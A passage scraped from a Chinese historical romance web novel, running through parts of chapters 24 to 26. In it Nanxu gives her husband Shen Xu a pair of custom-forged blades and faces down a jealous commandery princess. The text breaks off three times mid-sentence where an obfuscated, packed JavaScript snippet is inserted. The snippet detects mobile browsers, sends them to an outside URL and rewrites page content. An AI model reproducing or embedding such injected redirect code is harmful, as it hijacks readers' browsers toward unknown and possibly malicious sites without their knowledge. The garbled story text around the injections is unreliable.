她呼啦一下翻身下床,着急忙慌地裹上外袍,穿上靴子,全程没让他人沾上一点手,直把一旁的安雀和红雾下一激灵。 “小姐,发生什么事了吗?”红雾见她如此着急,也跟着紧张起来。 她在那样的环境里生活了这么久,稍微发生一些事就会草木皆兵。南夙发现她的脸色带着紧张与担心,这才意识到自己的反应太大,吓到她了。 “没发生什么大事啊。”南夙安抚地摇摇头,“就是我忘了件事而已。不是什么大事,你别担心嗷。” 安雀是早已习惯了南夙这一惊一乍的性格。她们小姐,做事是极让人放心的,但要是无事可做,那她就是最不让人放心的那个了。 “小姐这是又忘了什么?”安雀一口稀松平常的语气。 南夙挠挠头,“我把沈序的生辰搞忘了,我还答应要送他礼物来着,但那时候在杭州太忙,我就把这事忘了。” 安雀了然,“小姐打算怎么办?世子爷应当也不会与小姐计较的。” 南夙却说:“那是他的事,我答应了他没做到那就是我的事了。” “好了。”她站在床前,一手搭着一人的肩,晃荡着往屋外走了几步,“小姐我呢,现在要想想有什么办法能够弥补一下沈序,你们俩就先陪我去把生辰礼准备了吧。” 说着,她一手牵着一人,一齐往府外去了。 留给这满园春光三个背影。 等到沈序回家再一看,夫人不见了,向下人一打听才知晓是出府去了。 沈序查完案子后便要将大理寺少卿一职卸任了,他上任得突然,但这些日子,也算对大理寺管理得井井有条,眼下他突然卸任,有许多事务要交代给下一任少卿。 回京城这些日子,南夙是得了闲,他却还如往常述职一样,每日一早便去往大理寺,日落才得以归家。今日终于将一概事务完成,早了些时日回来。 而南夙这边,出府后她便带着安雀和红雾去找了京城最好的铁匠,一并商量好了东西与价钱,三人又再集市里逛了会,买了些吃喝玩乐的小玩意儿,便回府去了。 沈序发现,这些日子南夙总出府去。每日早晨就要出去,直到傍晚时分才会回来,不知道在外面是做些什么。他还发现,南夙这几日似乎是在躲着他,并且他有证明,比如用膳时南夙不坐在他身侧,反而黏着沈褚去了;比如一向晚睡的南夙这几日突然开始早睡了,每日他从书房温习回来,南夙都已经入睡;最直接的证明是,昨日南夙出门时正好在院子里遇到他,他本想问一问她这几日都去了哪,但还没开口,便被南夙打断,沈序以为她有话要说,便住了口,没想到南夙只是囫囵给他打了个招呼便拉着安雀跑了。 沈序:“……” 确定了,夫人有事瞒着我。沈序无奈地叹了口气,并下定决心,一定要找机会找南夙问清楚。究竟是自己做了什么事惹了她不快,让她不想见自己,还是这京城里真有什么稀奇的东西值得她日日去寻。 沈序是惯会反思自己的人,他从小被靖北侯严厉管教,习的是四书五经,练的是刀霜剑刃。靖北侯不会管他与何人交往,但若是他犯了错,靖北侯也丝毫不会手下留情,一定要打得他屁滚尿流才行。 沈序在靖北侯一板一眼的教育中长大,却也没完全长成靖北侯所期望的那样,不知道从哪偷来的几分痞子气息被掩盖在沈序的皮囊下,但掩得很浅,轻轻一戳,那腹黑味儿就飘出来了。 但即使如此,任何人提起,沈序都绝对是一个胸有丘壑,眼有慈悲之人,他拿得起权势,放得下姿态,幽默风趣。上得了战场,下得了厅堂,京中不知多少世家老爷早早将他看作佳婿。沈序却从没想过这些,以前没想过,现在更不会想。 刚听说要与灵诏的公主和亲是沈序自然是不愿意的,一是二人从未见过面,连对方是谁,长什么样都不知道就成亲,沈序觉得实在荒谬。二是灵诏以前动作不断,沈序觉得此次所谓的两邦之交的和亲,也是灵诏醉翁之意不在酒。 但圣命难违,沈序不愿也无法。后来不知是不是这灵诏的诏王舍不得自家女儿,陆续给他写了几封信,交代了许多东西,一如南夙入京抓判贼、寻古籍的任务,并且在信中大胆承认了灵诏古籍丢失一事是灵诏看护不力。 沈序没想到对方如此坦然,但他若是就这么信了,那他就不是沈序了。所以从南夙一入京城,他便一直盯着她,摸清了南夙所有的路子。 南夙不是他刚开始想的那般,她是灵诏的公主不错,可她的慈悲却是普天下的。南夙嫁给他还不到十六岁,可她却有手段、有勇气,还有那可爱的、尚未泯灭的童趣。 她才嫁给他时,沈序想,若是她入京没有其它的目的,没有做对大景不利之事,那便好好照顾她,她一个女子远赴万里独身而来,在这里无依无靠,自己既做了她的丈夫,便要负起责任来。 可出乎他意料的是,南夙太坦然了,不知道是不是她们家一脉相传,从南夙找他合作那夜,他第一次将自己知晓南夙的目的说出后,南夙对他便好似全无保留一般了。 她所有事都会告诉沈序,好像也真的将沈序看成了丈夫,而非一个合作伙伴。 于是沈序决定,从此以后,南夙所有的事他都会负责,他开始尝试扮演好一个丈夫的角色,南夙的一切他都关心。 但现在,他突然又怀疑自己这么想是不是对的,南夙突然的遮掩竟一时让他无措起来。他想,自己一厢情愿地想了那么多,却还不知道南夙的想法,若是她不愿意呢? 南夙与他成亲是不是也是像他当时一样是皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一旁的铁匠见她的表情便知晓她这是很满意,顿时神采奕奕骄傲起来。他的锻铁能力在整个京城那可是翘楚,寻常人来找他锻铁是要排队的,那日这姑娘来找他时,他还以为是在逗自己玩,直到这姑娘拿出了锻造图。他做铁匠这么多年,还是第一次见如此做工打磨如此精细的兵刃。整个刀身打磨重塑七七四十九次,工序复杂。铁匠哪里见过如此,当即接了下来,不给钱也接。 他做铁匠,究其原因也不过喜欢二字。世人说爱读书的是书痴,爱喝酒的是酒痴,那他就是这铁痴,专喜欢手下锻出的各种形状的铁器。 这姑娘每日都来,起初他还以为是不相信自己的手艺,来监工,还有过些不满,后来那姑娘才解释道,只是要在刀中加点东西,每日都要加,所以才每日都来。 真的……和她想得一模一样。 南夙看着那刀竟发起了愣,直到铁匠伸手在她眼前晃了晃,又叫了她几声,她才回过神来。 “大师,你这锻得也太好了,太厉害了。”南夙由衷夸赞。 大师却挥挥手,不以为意般,“小事小事。”又突然问:“姑娘手里可还有其他兵器想锻,只管来找我。” 他看着南夙的一双眼睛简直冒着期望的光来。 然而南夙摇了摇头,表示这个设计图是自己家中人所做,并不是自己的,也没有多余的。 大师也只好失望地离开。 不,是看着南夙离开的背影失望,他对南夙表示很失望。 拿了东西,南夙很是高兴,她将一长一短两把刀挂在腰间,往靖北侯跑去。 南夙当初突然说要送沈序礼物,是因为当时发现自己没有兵器,沈序二话不说便将自己的长刃给了自己,虽然那兵器很普通,可南夙却觉得很暖心。她也使双刃,最知道少了一把刀多难受,还是长刃。 所以那时沈序将自己的长刃给她,她就想,有机会一定要好好报答沈序。 她想起来小时候阿维曾经给过自己一张图纸,上面画的正是一套双刃。南夙小时候也是因为这张图,第一次对双刃产生了兴趣,用过一次,便也放不下了。 这套双刃自然是极好的,阿维送给她,应当也是希望她日后能够锻出来吧。南夙小时候也在灵诏尝试着锻过,不过那时她在石语镇,不认识什么厉害的铁匠,加上那时她练蛊的本事还学得没那么好,就一直没有成功过。 她听说大景有很多厉害的铁匠,进京后便一直计划着要找个机会去把这两把刃锻造出来。但一直没寻到机会,等她终于锻出来,她却已经决定将它送给沈序了。 南夙决定今晚回去就将东西给沈序,沈序这厮要是敢说一句不好,她就砍了他的头,挂在长刃上当灯笼用。 24.第24章 回了府,南夙没直接回院子,而是提步去了厨房。她不会做饭,就吩咐厨师长午膳做些好吃的,一并送到院子里去。 她自己则先行一步回了院子。 沈序素来不爱别人伺候,只有南夙平日里身边有安雀陪着,现下虽然多了个红雾,但俩人都不宿在院内。因此除了平常打扫卫生的小厮,这院子倒是真清净极了。 南夙越过门槛踏进院门,院子里很安静,如果不是书房里偶尔几声模糊的交谈声若隐若现,还真要以为院子里没有人在。 她缓缓走向书房,说话声渐渐清晰起来。南夙站定在书房门口,想着沈序应当在与旁人谈话,她现在敲门貌似不太合适,便打算先回房间,等沈序忙完了再说。 “何人?” 她正欲转身,一声清透却有力的询问传来。接着,一阵书房的门“唰”一下往里打开。不知是不是突然打开的力度太大,那门扇竟在两侧门框上弹了弹,才缓缓停下。 南夙毫无准备,被突然打开的门吓了一跳。她在门外踌躇了几秒,转念一想:门都开了,应该是知道我来了,那我看看总没事吧。 她趴在门边,往里探出脑袋去,打算先看看里面的情况,然后发现沈序正朝门边走来,她这一看,刚好与沈序对视上。 沈序信步向她走来,直到走到面前,南夙才反应过来,赶紧直起了身。 沈序先是好笑地朝她挑了个眉,正当南夙想他又会说什么话来损自己时,他却语气温和地吐出句安慰来。 “抱歉,没拦住他们,吓到你没?” “笑什么笑?”南夙努嘴。 沈序睨她一眼,又有意无意地将视线往门框上移。显然是在笑她方才趴在门框上偷看这个行为。 “不许笑!”南夙勒令,又问道,“他们是谁?是你的朋友吗?” “嗯。” “那你们继续聊,我没什么要紧事,我回房间等你。” 沈序疑惑,等他?终于不躲着他了?终于舍得见他了?他自己都没发现,他此刻的内心足像一个独守空闺的怨妇一般。 南夙自然没有察觉到他的态度,转身欲走,被沈序喊住,“来都来了,我介绍他们给你认识认识。” “我?”为啥呀? 沈序点头,却没说为什么?虽然他今日才说日后万事要顺南夙的意,但他私心还是想要南夙见见自己的好友。更何况,那俩人早也想见见南夙。但成亲后他与南夙忙着查案,又去了杭州,压根没有机会。 眼下正好。 书房内此时响起很轻的脚步声,若是不仔细听听不到的那种。南夙侧耳听了听,应当是两个人,脚步如此轻盈,定也是习武之人。 南夙正想着,就见两个高挑的身影款款而来,站定在她面前。 左边那位身着一身赤色长袍,额配抹额,嘴角扬着,好不晃眼,给人一种亲切好相处的感觉。右边这位,嗯……与左边简直风马牛不相及,他一袭玄袍落地,腰挂一长剑,走路的姿势很板直,嘴角平铺直叙,好似生性不爱笑一样。 二人看见南夙,礼貌地向她问了礼,南夙赶忙回礼,就见左边身着一身赤色长袍的男子倚着沈序的肩膀,嘴角噙着点南夙看不懂的笑,说道:“这就是弟妹吧?” 弟妹? 这段日子听惯了沈褚和韩砚的嫂嫂长嫂嫂短,第一次听到这个词,还怪新奇的。 南夙琢磨着沈序会如何回答,却见沈序一只手将赤色男子搭在肩上的手一把甩下,嫌弃地拍了拍肩,走到她身侧,指着那人说道:“戚禹,吏部侍郎。” 又指向旁边那人,“奚梧,左金吾卫中郎将。” 南夙听他说道:“都是我好友,年岁……比我长些。” “嗷嗷。”南夙乖巧地点点头,又一一向他们问了好,寒暄致意一番后,南夙说道:“我方才让厨房备了午饭,两位哥哥要不要留下来用了膳再走?” 沈序脸色一黑,乱叫什么哥哥? 戚禹那厮竟还真要答应,正欲点头,被身旁的奚梧一把捂住了嘴。 “我二人还有旁的事要做,今日不便再叨扰,世子妃好意在下就心领了。” 戚禹在奚梧的手中挣扎半天,只能在嗓子里发出些细碎的声音来表达自己的不满。南夙看着场景一时不知怎么办,只好看向沈序求助。 沈序对她有事先找自己的反应很满意,上前拉开奚梧的手,义正言辞地说道:“既然二位兄长还有要事要忙,我不便多留。” 戚禹:“……” 他还想说些什么,被奚梧拉着走了。 南夙看着他的背影,只觉得他像是有千斤诉状要奏,但他的诉状南夙不想多在意,眼下人都走了,南夙开心地转向沈序。 却见沈序也在看她。 他们一起进了书房,沈序拿起茶杯为她斟了一杯茶,南夙接过却没有喝,将茶放在桌上,笑着对沈序说:“沈序,你猜我这几日干什么去了?” 沈序:这不是我的词吗? 但他没有将内心的想法表达出现,只是配合地附和她,“干什么去了?” “我给你准备惊喜去了。”她语气雀跃。 说着低下头去解系在腰间的双刃,谁料这破绳子不知何时被挽成了死结,系得还贼紧,南夙用力去扯也无可奈何。 沈序听她说了那句话后先是一惊,随后说不出的喜悦自胸间而来,他不自觉便笑出声来。想着自己又误会南夙了,又想南夙这人真是会戳人心窝子,她前几日躲着沈序时好似全然不在意沈序的感受与态度,将他看作洪水猛兽一般的避。可她若是想给你些什么,又坦然得吓人。不论何时,她都能坦荡地向你展现自己的真心,像小猫毫无防备地向你露出肚皮一样。 沈序内心是风起云涌、波澜起伏,一抬头却发现南夙正低着头,忙着与腰间那绳结做斗争。看样子是遇到了些困难,龇牙咧嘴的,更像猫了。心绪难平,沈序更想笑了,满脑子都是南夙平日里怎么这么可爱的疑惑? 眼见南夙与那绳结的战役有愈大愈烈之兆,沈序终于起身,走到南夙身边,俯身伸手向那绳结,不想南夙在刚才的战役中赢得先头,揪出了一根漏网之鱼,她得意地抓住那根绳,用力一扯,绳结开了……沈序也来了。 沈序毫无防备,被南夙一扯,便失去平衡朝南夙摔去。眼看就要装上南夙,沈序慌乱间胡乱将手往旁边一撑,稳住了自己的身体。 然而,撑晚了。眼下二人的姿势,就是南夙仍低着头坐着,一只手扯着腰间绳结。沈序一只手撑在她身后的垫子上,一只手扶着书案,头被他方才轻轻歪到一边,此时正悬空托在南夙右肩上。无论从哪个方向看,都是个拥抱的姿势。 空气静默了一瞬,尴尬自四面八方涌过来。 沈序状若无事地起了身,轻咳一声,偷瞄了南夙一眼。 南夙则保持着那个姿势,没有动作。 僵持了半晌,不知是谁的哪根筋先搭对了。 “抱歉。” “对不起!” 两人异口同声道。 空气再次静默起来,不过这次不过几秒,两人一对视,“噗”的一声同时笑出来。 “碰到哪里没有?”沈序先问道,方才突然失衡往前倒,没注意有没有磕到南夙。 南夙摇头,又问:“你呢?” “我也没有。” “砰——” 金属落地的声响突兀地响起,像是也感受到了房中的不自在,专为了暖场子的一般,南夙腰间的绳结一松,挂在腰间的双刃便落了下来。 二人同时挪开对视的眼睛,投向那救命恩人般的双刃上。 南夙弯腰将双刃捡起来,自然地转了话题,“对了,这个给你。” 她将双刃递给沈序。 沈序双手接过,默契地没有再提方才的事,两人也极有眼色的没有戳穿对方那红得透血的耳朵。 沈序坐回南夙的对面,打量了一会手中的双刃。 南夙两手撑在桌上,捧着脸望沈序的动作和他的反应。 此双刃一长一短,长的刃身修长如新月,脊线带着血槽,刀上有一道道的暗纹如蛇鳞,据南夙后来所说,那是她以前炼的蛊虫尸体,专门为了锻这两把刀所炼的。除此之外,柄尾刻有几个字符,却是沈序看不懂的字符,他猜测是南夙家乡的文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148989|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字。短的形似蛇牙,刀身布满细密锯齿,一看便知这两把刀的不同寻常。 沈序已然无言,手指徐徐摩挲过刀身,半晌没反应。 南夙好久没得到他的回应,想去看他的表情又发现他低着头看不到,南夙以为真的像她想的那般沈序不喜欢呢。 她着急地凑到沈序前面去,语气幽幽:“沈序,你怎么不说话啊?你是不喜欢吗?” 沈序这才反应过来,一看南夙,半个身子已经要越过整个书案了。他不由得失笑,将南夙推了回去,解释道:“没说不喜欢。” 南夙问:“那你怎么不说话?” “只是太惊喜了。” “真的吗?”南夙一喜,语调也随着高了些。 “嗯。”沈序望着她,十分肯定地点头,又问,“这刀是你锻的?” “不是我锻的,是我找人锻的。不过,设计图是我的。”南夙诚实地摇头。 “所以这段时间你常出府去就是为了这个?”沈序又问出这些天他一直耿耿于怀的问题,虽然他已经知晓了答案,却仍忍不住想问一问南夙,仿佛一定要在她口中听到肯定的答案一般。 南夙果然点点头。 沈序又问:“那以后,不躲着我了?” 南夙反驳:“我哪有躲……” 说到一半,她才反应过来,最近几天她因为对忘记给沈序的承诺十分心虚,虽然沈序也好似忘了这件事从没提起过,但她就是想等礼物做好了再见沈序。 她不好意思地笑笑,“因为忘了你的生辰,我很不好意思。” “就因为这个?”沈序讶然。 他记起初到杭州那日南夙确实说过要在他生辰时给他一个惊喜,后来杭州诸事众多,他们光忙杭州的事都已晕头转向,更妄论说记得什么生辰,就是他自己也忘了这回事,还是回城后父亲召过他一回,提起这事他才想起来。 倒是没想到南夙也记着,还因为这事不敢见他。 “这是件大事。”南夙一本正经。 沈序的生辰是一方面,更重要的是她答应了沈序却没做到这事,她心里过不去的,只能想办法好好补救。 “既如此,多谢夫人。”沈序笑着,眼神像离不开她的脸一般。 南夙与他相处了这么些时日,还没见过他这么真诚的笑呢。她觉得,沈序一定是很满意她的礼物,当下也美了起来。 刚好这时,下人来唤,说夫人让准备的午膳都已备好了,问在哪里用膳。南夙想给沈序补过生辰这事是自己的想法,也没提前告知阿翁他们,便让把午膳设在院子里。 沈序此时自然也知晓南夙的用意,便起了身与南夙一齐去用午膳。 吃到一半,南夙觉得实在过于安静,便随意开口:“你的那两位朋友来找你做什么?” 说完她才反应过来,这是在京城,她对面的人是沈序不是安雀。沈序与他的好友约在书房谈话自然是要事,怎么能随便问呢。 她忙解释:“我不是想打探你们谈话的内容啊,我就是吃饭吃得有些无聊。” “无事。”沈序轻笑,“不是什么不能知道的事。况且……” 他停顿片刻,徐徐抬眼看了下南夙,方又说道:“我的事,你也没有什么是不能知道的。” 南夙耳一热,不知沈序为什么突然这么说,却还是状若无异地问他:“那你们谈了什么事?” “西域来使,将在下个月到达京城。” “这是他们的传统吗?”他们指的自然是西域那些人。 沈序点头,说道:“不过来这么早却是头一次。” 那就是有备而来。 南夙了然,又问:“那我们需要做什么?” 沈序见她一脸的新奇,只觉心中满是柔情,没说那些严肃的事,反而挑了些好玩的说给她听,“有使来访,自然是要好好招待。往年都会有许多活动,不出意外,今年也会有的。” “真的吗?” “嗯,且等着陛下的旨意吧。” 半月后,果如沈序所言,等来了陛下宣靖北侯入宫商讨西域来使一事的之一。而与此而来的,还有位不速之客。 25.第 25 章 楼兰使臣的队伍浩浩荡荡往中原来时,南夙正趴在榻上读绘本。民间一位有名的先生写的。讲的是西域使臣远赴中原献宝进贡,并与中原人赛蹴鞠的故事,书中关于蹴鞠的描写尤其吸引南夙,配上一旁的水墨彩绘,更让南夙对之向往起来。 本是因为那日听沈序说过楼兰此次是有备而来后,她才想看些关于楼兰的书,想着了解一些西域的风土人情,若是到时候有了什么情况,她也更好应对一些,于是便让安雀去挑了些书回来。谁料南夙在书堆里随意一翻,便翻到这本绘本,一看起来便发了狠忘了情。 南夙一只手撑着脸,歪着头盯着书上画的那副蹴鞠图,那图中,蹴鞠正凌空起飞,滞在半空,一名头戴幞头,身着窄袖短衫的球员身姿舒展,正做出一个高难度的动作。 书上写着,这个动作叫做“倒踢紫金冠”。 南夙视线久久停在那个倒悬身体的姿势上。半晌,她两手将书重重合上,扔在榻边,书“啪嗒”一下沿着榻沿滑落,南夙却没心思管。 三两下套上了鞋,往前院跑去。 她要去找沈序,问问他这蹴鞠是何物,能不能教自己学一学,她真的超级想玩。 自两日前陛下召阿翁入宫,连带着沈序也被召入宫,二人这几日天天都要进宫商讨事宜。阿翁就算了,反正他每日都要上朝。但沈序因为战场立功,陛下赏赐,求了半年不上朝的愿,这才能每日安然待在家中,他自己也不爱进宫。 眼下却因楼兰来使,不得不进宫了。 不知他们今日何时归家。南夙想去前院等他,撩着裙摆蹦着跳着去了。走至前厅时,迎面见小厮引着两名女子走来。 南夙看了看那俩女子,应当是一主一仆,但不认识。 穿着华贵那名女子走在小厮身后,像是在自家院子里一般招摇,一路扬着头抬着下巴,也不看周围的下人们,对于下人的行礼也是爱答不理一概走过。 看见南夙时自然也是如此态度,直到小厮向她行了个礼,“夫人。” 南夙唤她起身,只听得一声轻微的“啧”身自那小厮身后传来,是那女子人发出的。 “这位是?”南夙睨了那女子一眼,面无表情地移开目光,问那小厮。 “回夫人,这位是安宁郡主。” 安宁郡主韩颖,睿亲王的女儿。 南夙入京时,曾看过大景皇室的宗亲名单,对此人有印象。既是郡主,为何突然到访,看她这样,应当也是单独出行。 南夙不知她的意图,拿不定主意,“郡主到访,有失远迎,不知郡主今日到访有何要事指教?” 韩颖却像没听到她的话一样,径直略过南夙走进前厅,自顾自地坐了。刚一坐下,便指着南夙,“你,过来给我斟茶。” 南夙见她来者不善,也不知道是从何处对她这个陌生人生来的敌意。但她可不是能惯着人的性子。见人对自己没什么好脸色,也懒得装了,走到前厅另一侧坐下,给自己倒了碗茶,大口喝了。 “本郡主叫你给我斟茶,你是听不懂吗?”见南夙对自己的话没反应,韩颖提高了声量,语气更加不好。 南夙心想:什么郡主,老娘还是公主呢。就算不是你们大景的公主,也不可能任由你们大景人拿捏。 她想得明白,自己若是低了头,那便是灵诏对大景低了头。大景的确在中原一家独大,灵诏虽然也像楼兰这些国家一样每年需要上贡,但这些都是因为大景能护灵诏的安全。否则,灵诏也不会甘愿成为邦国。 可这也不代表灵诏人就比他们大景人低人一等。 南夙对她的话置若罔闻,给方才站在身旁的小厮使了个眼色,“郡主口渴想喝茶,你们都没听见吗?” 那小厮得了南夙的指示,才敢上前给韩颖倒茶。 南夙见那小厮的动作,乜了韩颖一眼,意思很明确:这里是镇北侯府,谁是主人谁是客自己看不懂,府上的下人却知道。 南夙若是没有开口让下人们伺候,谁敢擅作主张。就是迎她进来,也不过是从了那句待客之道。 你跟我装什么装。 “郡主见谅。”南夙手中捏着一茶杯,手指摩挲着,见韩颖因那小厮上前脸色更加不好,才语气淡淡地开口,“府上人不懂规矩,怠慢了郡主,臣日后必当严加管教。” 韩颖简直要被她的态度气死,那张好看的脸涨红得像一块猪肝,手指颤颤巍巍地指着南夙,酝酿半天,却吐不出一句有用的话,“你……你大胆!” “郡主何出此言,莫非是府上的茶不合公主的口味?”南夙鸡同鸭讲,梦到那句说那句,“郡主何不早说。来人,给郡主换种茶。” 一旁小厮又听话地去了。 前厅除了南夙与韩颖,此刻便只剩下了韩颖身旁的丫头。南夙看她低眉顺眼的样子,觉得她也不足为惧,当下决定,要好好收拾一下这位目中无人的劳什子郡主。 椅脚与地面摩擦出短促的锐响,南夙徐徐站起,挽起袖子,一步步朝那郡主走去。 而韩颖早被她这一系列动作气死了。她本就觉得西南蛮子蛮横无理,这人居然还嫁给了她的世子哥哥。 沈序哥哥光风霁月、怀瑾握瑜,哪是南夙这个西南蛮子配得上的。她从小便习书辩字,琴棋书画也没有一项落下,为的就是长大后能嫁给世子哥哥,可是这一切,都被南夙给打乱了。她心想,都是南夙抢走了她的世子哥哥,她不服气,在家憋了这么些日子,才决定选在这一天,世子哥哥不在府的日子上门找茬。 不得不说,她还真是来对了。沈序和阿翁进了宫,阿家早在一月多前他回京时便去了古寺,青灯古佛去了。至于安雀和红雾,她俩一见如故,聊得极来。红雾初到京城对城中的一切都觉得新奇,安雀也还没机会好好逛过京城。南夙便放了人,遣他们二人出去玩去了。 眼下这镇北侯府里,还真只有南夙一人。 但是! 南夙是什么很好捏的软柿子吗? 那这位不问自来的郡主殿下要是这么想的话,可就错了。 韩颖心中烦闷,见南夙正向她走来,表情严肃,立刻警觉起来。她也听说了南夙此次去杭州立了大功,知晓南夙会武,还有那令皇帝叔叔都忌惮的巫蛊术。 “你要做什么?你别过来啊!哎?哎?哎?打人了打人了。” 韩颖在椅子上手舞足蹈起来,歪着头闭着眼睛,两只手在前面挥舞着,妄图阻挡南夙的动作。 站在一边没动的南夙:“……” 我动手了吗你就叫? 她无语地白了椅子上那团凌乱又乱伸枝的水草一眼。 没意思,真是浪费年华。 她正打算走,一转身却见沈序正站在檐下,眸中晃着春日的阳光,嘴角轻轻扬着,负着手直直地看着看她,不知已经看了多久。 什么时候来的? 南夙心下惊讶,瞪大眼睛不敢相信般看了看沈序,却见沈序嘴角的笑更深了,这一笑,又将他那腹黑味给笑了出来。 确定真的是沈序,她提着裙摆跑下台阶,走到沈序面前,“你怎么回来了?”说完,又往他背后看了一眼,“阿翁呢?怎么没和你一起回来?” “清平侯约他叙旧,我便先一步回来了。”沈序向她解释,又怕她不知清平侯是谁,补充道,“就是奚梧的父亲。” “嗷嗷。”原来如此。 南夙问完,想问他这位郡主应当怎么办。 却听沈序先一步问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151969|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她:“受委屈了?” 那哪能?南夙知晓他是关心自己,摇摇头,凑近他耳边,“谁敢欺负我?” 语气尤其之嚣张。 沈序失笑,“也是,毕竟就是我,也是万万不敢逾越了夫人的。” “哼。”南夙得意偏头。 却说韩颖当时以为南夙要打她,害怕遮挡,许久未听见动静,试探着睁开眼睛,南夙已经不在眼前了。她觉得南夙就是故意耍她,正寻南夙身影,打算以此发难,却见沈序站立在檐下,而那个讨厌的南夙已经站在他的身侧了。 世子哥哥平日里虽也待人随和,但她却是头一次见他露出如此温柔的笑容,那笑容里,竟还让她读出几分纵容和在意。世子哥哥这样就算了,南夙居然还敢凑到世子哥哥面前去,俩人靠得这么近,完全听不见在说什么。 她看得心里难受,站起身来,整理了一下衣冠,轻声开口:“世子哥哥。” 咦~ 南夙激起一身鸡皮疙瘩,这声哥哥,真像南夙老家那山路十八弯啊。 两人这才转身,韩颖款款走来,停在沈序跟前,优雅地欠身向沈序问好,沈序规矩行了个礼。 “世子哥哥……” “臣与郡主并无血缘关系,当不起这声哥哥。”韩颖才刚开口,沈序便皱着眉打断,“郡主不问自来,可是有要事?” “没……没有。” 两句话结束了战局。南夙纳罕,方才与她口枪舌战的郡主哪去了?这是被夺舍了吧? 但她也明白为什么韩颖对她态度如此了,韩颖喜欢沈序。可是她并不喜欢沈序啊。 她看了韩颖一眼,见她正低着头,一脸落寞的模样。 就因为沈序这两句话,让她失去了方才的意气。 她方才觉得韩颖狗仗人势乃蠢人也,现在又觉得她可怜。她自小在姑姑的教育下长大,姑姑并不是她的亲姑姑,而是诏父当年专门找来照顾她的嬷嬷,她自小便如此唤她。 姑姑一生没有嫁人,也从不依靠男人什么,更不会将自己的情绪泄露半点给那些男人。因为她说:“世人对女子误解甚多,他们认为我们离了男人就什么也做不到,但他们是错的。女子最是柔软而坚定的人。” 南夙生来便有一颗容易心软的心,小时候吃了不少亏。后来在姑姑身边长大,多少受了些姑姑性格的影响,又在多次吃亏后被姑姑耳命面提地嘱咐。这才养成了现在不让自己吃亏的性格,但她却还是容易心软。 “郡主既然没什么事,臣与夫人还有事,不便多留。” 韩颖听了这话,知道沈序是不耐烦了,脸一阵白一阵红,最后掩着脸跑出去了。 南夙看着她的背影,直到人出了府才收回视线来。 “她……是喜欢你吗?” “为何突然这么问?” “就是好奇而已,毕竟她对你的态度,好像很喜欢你的样子。” 只是好奇吗?沈序收回落在她身上的视线,只觉心中有种说不清道不明的情绪涌过,他知道这大概是对南夙说的话感到烦闷。可这情绪究竟从何而来呢? 他对郡主没有那样的情感,所以她在自己面前哭或是笑,甚至不如一个寻常百姓站在他面前能勾起他的情绪。 那南夙呢? 他对南夙是什么样的感情呢? 南夙问他这个问题还说只是好奇,为什么他心里会不爽呢? 仿佛什么东西正等着沈序去戳破,可他却生生忍住了,既没在面上泄露出一点不对劲,又压抑住了心里那股乱窜的气。 “我不喜欢她,所以,还是不要纠缠太多的好。” 南夙了然,这样确实是最好的方式,既然不喜欢,就别给人留念想。 26.第 26 章 “今日怎么来前厅了?”他们一起往里走,沈序落后她一步,看着她的背影,“往日不是只喜欢待在院子里?” 南夙朝他的方向偏了一下头,经他一提醒,才想起来自己本来的目的,“我等你来着。” “等我?” “嗯!”南夙转身停在沈序身前,背着手弓腰凑近了他一些,她歪着脑袋,“蹴鞠是什么?好玩吗?” “好奇?”沈序看着她一脸期待的表情。 “嗯嗯。”南夙点头,“我在一个绘本上见到的,看起来特别有趣,你能教教我吗?” 沈序狡黠一笑,“那你求我?” “你!” 南夙瞪他一眼,转过身快步往前走了一步,将沈序远远落在身后,留给沈序一个潇洒的背影以表达自己的气愤。 沈序不疾不徐地迈着步子,进了后院,前面那个灵巧的身影便消失在了视线里。他看得欣慰,因为他明显感觉到,南夙在府中越来越自在了。 这证明,南夙正在逐渐的将这里当作她真正的家。 沈序廊间踱着步子,心里默数着时间。 一。 二。 …… 一百一十七。 一百一十八。 脚刚跨过月洞门进入院子,一个身影自一旁蹦出来。 鱼儿上钩了。 南夙双手合十立在胸前,两只手上下摩挲着,眼神祈求,“求求你了沈序,我真的特别想学。” 沈序好整以暇地抱手,“看在你态度如此恳切的份上,”他右手伸出拇指往后一指,“走吧。” “哦耶!” “我们去哪呀?” “学蹴鞠,自然是去鞠场。” 南夙望着沈序带她走的路线。这不是通往侯府后门的路吗?难道他们要去外面? 她这么想着,也这么问了。 “我们去外面吗?” 沈序想了想,也算是外面吧,于是点了点头,“嗯。” 俩人出了后门,沈序转身向左边走去。南夙看着那熟悉的墙,这不是大婚那日她藏夜行衣的院子吗?这也是侯府的产业?不会这么巧吧? 南夙一路浮想联翩,呆呆地跟着沈序走,直到走到墙边,沈序突然停下脚步。 “怎么了?”南夙站在他身后,从他右手后边凑过脑袋去看他,见沈序正盯着高墙底下的一处地方看。 南夙跟着他的视线看去——那是一个狗洞,不知道里面被堵了什么,漏不出光亮来,只依稀能在边缘看道一点黑色布料的形状。 南夙:“……” 真这么巧啊。 见沈序半天没有动作,她硬着头皮凑到沈序跟前,“走啊,怎么停下了?” 